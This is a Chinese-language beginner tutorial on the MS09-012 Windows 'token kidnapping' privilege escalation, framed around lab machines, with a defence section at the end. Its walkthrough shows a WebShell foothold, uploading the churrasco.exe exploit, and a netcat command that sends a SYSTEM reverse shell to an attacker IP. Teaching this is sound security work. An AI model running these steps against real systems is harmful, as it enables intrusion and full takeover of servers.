深度拆解 MS09-012:从“低权访客”到“系统之神”的跨越
如果你刚踏入网络安全特别是渗透测试的大门你一定听说过在 Windows 提权界大名鼎鼎的MS09-012常被称作“令牌绑架”漏洞。在很多经典的靶机演练如 HackTheBox 的 Granny/Grandpa中它是新手们拿到的第一个SYSTEM 权限。这篇文章我们将化繁为简带你从原理到实战彻底拿下这个漏洞。 一、 漏洞档案漏洞名称Windows 服务隔离权限提升漏洞Token Kidnapping微软编号MS09-012关联 CVECVE-2008-1436, CVE-2009-0078, CVE-2009-0079, CVE-2009-0080漏洞类型本地权限提升LPE危害等级高危CVSS 评分通常为 7.2 或更高影响系统Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008尤其是未打补丁的版本前置条件攻击者必须先在目标系统上获得代码执行权限例如通过 Web 上传了一个 ASPX 木马拿到了 IIS 的 Worker Process 权限。 二、 漏洞原理到底什么是“令牌绑架”要理解 MS09-012我们不需要去啃 Windows 内核的源码只需要弄懂三个核心概念账户权限、门禁卡Token 以及进程隔离失效。1. Windows 的“三六九等”在 Windows 系统中有几个特殊的内置账户权限从高到低排列如下SYSTEM本地系统神一般的存在。拥有对系统几乎所有资源的完全控制权。Windows 的核心服务如lsass.exe,services.exe都以这个身份运行。NetworkService网络服务受限的普通员工。通常用于运行 IIS、SQL Server 等对外提供服务的进程。它可以对外访问网络但在本地系统上的权限极低。LocalService本地服务比 NetworkService 权限还要低。主要用于运行一些不需要网络访问的本地组件。2. 什么是“令牌Token”你可以把 Windows 的 Token 想象成一张门禁卡。当你登录系统或启动一个进程时系统会给这个进程发一张 Token门禁卡。这张卡里记录了“你是谁”用户 SID以及“你能干什么”特权列表。当进程想要访问一个文件或执行某个操作时系统就会刷卡检查权限。通常情况下低权限进程NetworkService拿到的只是一张普通员工的门禁卡它绝对不可能去访问只有 SYSTEM 才能访问的核心区域。3. 致命的失误保洁借用了 CEO 的门禁卡MS09-012 漏洞的精妙之处就在于它利用了 Windows 系统自身组件的逻辑缺陷让低权限进程成功“绑架”了高权限进程的 Token。在存在漏洞的 Windows 版本中像 WMIWindows 管理规范或 MSDTC分布式事务处理协调器等服务在运行时会涉及到复杂的进程间通信RPC。问题出在在某些特定条件下一些以NetworkService身份运行的进程在调用系统服务如 WMI时系统会临时将一张带有SYSTEM权限的 TokenCEO 的门禁卡留在了内存中。由于 Windows 在隔离同一账户都是 NetworkService下的不同进程时存在缺陷这个账户下的任何其他进程都有权限去扫描并打开这个遗留的 Token。攻击者编写的恶意代码比如一个上传的 ASPX 木马一旦发现这张高权限 Token就会毫不犹豫地“偷”过来替换掉自己原有的低权限 Token。瞬间保洁阿姨变成了 CEO。 原本只能跑在NetworkService下的 Web 木马摇身一变获得了系统的至高无上权限SYSTEM可以干任何事情添加管理员账户、读取所有文件、植入永恒的后门。️ 三、 漏洞复现手把手教你提权到 SYSTEM对于初学者最快、最安全的复现方式是在虚拟机中搭建一个存在漏洞的旧版 Windows 环境如Windows Server 2003 SP2或者使用 VulnHub/HackTheBox 上的经典靶机如Granny或Grandpa。这里我们模拟一次典型的 Web 渗透提权流程阶段一获取初始立足点Low Privilege Shell假设你已经通过某种方式比如利用 IIS 6.0 的 WebDAV 漏洞或者后台上传漏洞在目标服务器上上传了一个 ASPX 格式的 WebShell并成功执行了系统命令。通过 WebShell 执行whoami命令你会看到当前的身份是可怜的nt authority\network service。cmdC:\Windows\System32\inetsrv whoami nt authority\network service这说明你现在是个连改个系统配置文件都不配的“外人”下一步就是利用 MS09-012 进行提权。阶段二上传并利用 Exploit提权工具在这个年代我们不需要自己去写复杂的 Token 劫持代码。安全社区早已有了成熟的自动化工具其中最著名的就是churrasco.exe中文圈常称其为“巴西烤肉”提权工具或pr.exe对应 MS09-012 的另一个著名 Exploit。上传 Exploit通过你的 WebShell 文件管理功能或者利用命令行下载工具如certutil或 FTP将churrasco.exe上传到目标服务器你有写入权限的目录例如 C:\temp或 IIS 的网站根目录。执行提权命令churrasco.exe的原理就是内部封装了 MS09-012 的 Token 劫持逻辑。它的使用方法非常简单通过-d参数后面跟上你想要以 SYSTEM 权限运行的命令即可。例如我们让它在本地监听一个端口并反弹一个 SYSTEM 权限的 CMD Shell 回来这里假设你本地有一台攻击机IP 为192.168.1.100正在用nc监听5555端口cmdC:\temp\churrasco.exe -d C:\temp\nc.exe -e cmd.exe 192.168.1.100 5555(注如果目标没有nc.exe你需要先把nc.exe也上传上去)见证奇迹的时刻切回到你本地攻击机的终端你会收到一个反向连接。在这个新弹回的 CMD 窗口里再次输入whoamicmdC:\Windows\System32\inetsrv whoami nt authority\system恭喜你现在已经站在了 Windows 权限金字塔的顶端。️ 四、 如何应对与防御MS09-012 是一个十几年前的老旧漏洞在现代的 Windows 系统Windows 7 / Server 2012 及以后中早已被彻底修复。但了解它的防御思路对安全运维依然有参考价值及时打补丁微软早在 2009 年就发布了对应的安全更新MS09-012主要涉及补丁KB952004和KB956572。保持系统更新是防御此类底层漏洞最有效的方法。最小权限原则PoLP永远不要用高权限账户如 SYSTEM 或 Administrator去运行 Web 服务如 IIS或数据库。确保 IIS 的网站池Application Pool以低权限的NetworkService或专用的虚拟账户运行。严格限制文件上传绝大多数针对此漏洞的攻击起点都是 Web 应用的上传功能。严格校验上传文件的后缀名和 Content-Type禁止上传目录的脚本执行权限如 IIS 中的Handler Mappings设置可以从源头切断攻击链。MS09-012 虽然是老漏洞但它背后的“令牌劫持Token Kidnapping”思想在后来的高级渗透攻击如 Windows 提权、横向移动中屡见不鲜。作为初学者弄懂了这个漏洞你就等于打通了 Windows 访问控制模型ACL / Token的任督二脉。安全之路道阻且长但每拆解一个这样的经典案例你脚下的基石就稳固一分。祝你在网络安全的世界里探索愉快